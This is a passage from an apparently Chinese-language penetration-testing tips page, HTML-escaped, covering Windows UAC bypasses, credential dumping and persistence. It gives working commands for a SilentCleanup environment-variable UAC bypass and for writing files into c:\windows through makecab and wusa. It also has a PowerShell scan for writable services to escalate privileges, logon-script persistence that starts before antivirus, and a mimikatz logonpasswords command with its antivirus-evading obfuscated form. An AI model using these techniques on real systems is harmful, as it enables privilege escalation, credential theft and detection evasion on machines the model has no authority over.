    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/"&gt;《利用BDF向DLL文件植入后门》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_70" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：特殊注册表键值&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的创建》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的更多测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_71" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 31. UAC绕过&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_72" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：use eventvwr.exe and registry hijacking&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用：Win7，Win8.1，Win 10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_73" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：use sdclt.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-sdclt.exe-to-bypass-UAC/"&gt;《Study Notes of using sdclt.exe to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_74" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：use SilentCleanup&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win8,Win10&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f &amp;amp;&amp;amp; REM "
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-SilentCleanup-to-bypass-UAC/"&gt;《Study Notes of using SilentCleanup to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_75" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：use wscript.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;只适用于Win7&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_76" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：use cmstp.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://msitpros.com/?p=3960&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_77" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：修改环境变量，劫持高权限.Net程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如gpedit.msc&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改环境变量，利用CLR劫持gpedit.msc的启动过程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_78" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：修改注册表HKCU\Software\Classes\CLSID，劫持高权限程序&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用Win7-Win10&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{B29D466A-857D-35BA-8712-A758861BFEA1}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{D5AB5662-131D-453D-88C8-9BBA87502ADE}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{0A29FF9E-7F9C-4437-8B11-F424491E3931}

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-bypass-UAC/"&gt;《Use CLR to bypass UAC》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_79" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 32. Visual Studio生成的exe或是dll在其他系统使用，提示缺少相关DLL文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解放方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将程序打包发布&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目菜单-&amp;gt;项目属性，C/C++-&amp;gt;代码生成-&amp;gt;运行库，选择多线程 (/MT)&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_80" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 33. 使用LaZagne导出当前系统中常见应用存储的密码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;可以使用LaZagne导出当前系统中常见应用存储的密码（例如浏览器、Wifi、Git、Outlook等）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/AlessandroZ/LaZagne&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，也可以修改LaZagne源码实现对其他应用的密码导出&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_81" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 34. 使用powershell读写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$file = Get-Content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写文本文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Set-content "1.txt"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;读二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;写二进制文件：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_82" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 35. powershell作base64编码/解码&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$encoded = [System.Convert]::ToBase64String($fileContent)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;解码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$fileContent = [System.Convert]::FromBase64String($encoded)&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-using-BGInfo-to-bypass-Application-Whitelisting/"&gt;《Study Notes of using BGInfo to bypass Application Whitelisting》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_83" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 36 如果powershell脚本被查杀，可以尝试使用Invoke-Obfuscation进行混淆&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/danielbohannon/Invoke-Obfuscation&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;设置要混淆的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;encoding&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;输入&lt;code&gt;1&lt;/code&gt;，指定编码为ascii&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;得到混淆后的代码：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;" $(SEt-iTem  'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] $_) } ) +"$( Set-variAbLE  'oFS'  ' ' ) "|. ( $env:PUbLic[13]+$eNv:PuBlIc[5]+'x')&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_84" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 37 python脚本转exe&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常见的两种方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用py2exe

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;使用PyInstaller

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用方法和常见bug解决方法可参照参考链接&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%9C%AC%E5%9C%B0%E5%AF%86%E7%A0%81%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7LaZagne%E4%B8%AD%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E8%84%9A%E6%9C%AC%E5%BC%80%E5%8F%91/"&gt;《本地密码查看工具LaZagne中的自定义脚本开发》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_85" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 38 普通用户权限向管理员权限的路径下写文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以普通用户权限向&lt;code&gt;c:\windows&lt;/code&gt;文件夹下释放文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecab c:\test\test.exe %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;适用于Win7、Win8，学习自：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Empire%E4%B8%AD%E7%9A%84Invoke-WScriptBypassUAC%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/"&gt;《Empire中的Invoke-WScriptBypassUAC利用分析》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_86" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 39 在远程系统上执行程序的方法汇总&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;at

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;psexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;WMIC

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;wmiexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;smbexec

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;powershell remoting

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;新方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;DCOM
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/"&gt;《域渗透——利用DCOM在远程系统执行程序》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_87" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 40 寻找Windows系统中可被利用的服务&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;枚举Windows系统服务对应可执行文件的路径，如果路径包含普通用户的写权限，那么该服务可被用来提升权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;powershell代码:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
     If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
        If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
            If($a.Owner -ne "BUILTIN\Administrators"){                
                Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
                Write-host Owner: $a.Owner
            }    
        }
    }
}
Write-host [+] All done.&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-powershell-to-find-a-writable-windows-service/"&gt;《Use powershell to find a writable windows service》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_88" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows系统支持Logon Scripts，Logon Scripts是在系统启动时执行，执行顺序要优先于杀毒软件，当然，杀毒软件无法拦截Logon Scripts中脚本的操作（杀毒软件尚未启动）&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;关键在于杀毒软件会不会拦截Logon Scripts的配置使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用特殊操作添加Logon Scripts，杀毒软件不会拦截&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;strong class="md_compiled md_compiled_strong"&gt;注：&lt;/strong&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以上提到的杀毒软件是指“部分”杀毒软件，并不通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/"&gt;《Use Logon Scripts to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_89" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 42 编译c#程序注意事项&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Visual Studio：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;项目名要同namespace指定的名称对应，如果不对应，可在项目-属性-程序集名称中修改，否则生成的dll无法使用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用csc.exe:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;保存为TestDotNet.cs，直接使用csc.exe生成就好：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs&lt;/code&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果保存为a.cs，那么需要加/out参数指定输出文件为TestDotNet.dll，这样程序集名称也默认为TestDotNet（同源代码对应），否则，dll虽然能够被加载，但无法执行，参数如下：&lt;/span&gt;
&lt;/p&gt;

&lt;code&gt;C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs&lt;/code&gt;
&lt;hr&gt;
&lt;h3 id="toc_90" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 43 使用net use远程连接的端口问题&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用net use远程连接，目标如果开启了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标同时开放139和445端口，系统优先使用445端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，可使用139端口连接

&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;目标如果禁用了NetBIOS over TCP/IP，那么：&lt;/span&gt;
&lt;/p&gt;

&lt;ol class="md_list md_ol" start="1"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;目标禁用445端口，无法连接
&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;
&lt;h3 id="toc_91" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 44 获得TrustedInstaller权限&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方法：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;SelectMyParent

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;Invoke-TokenManipulation.ps1

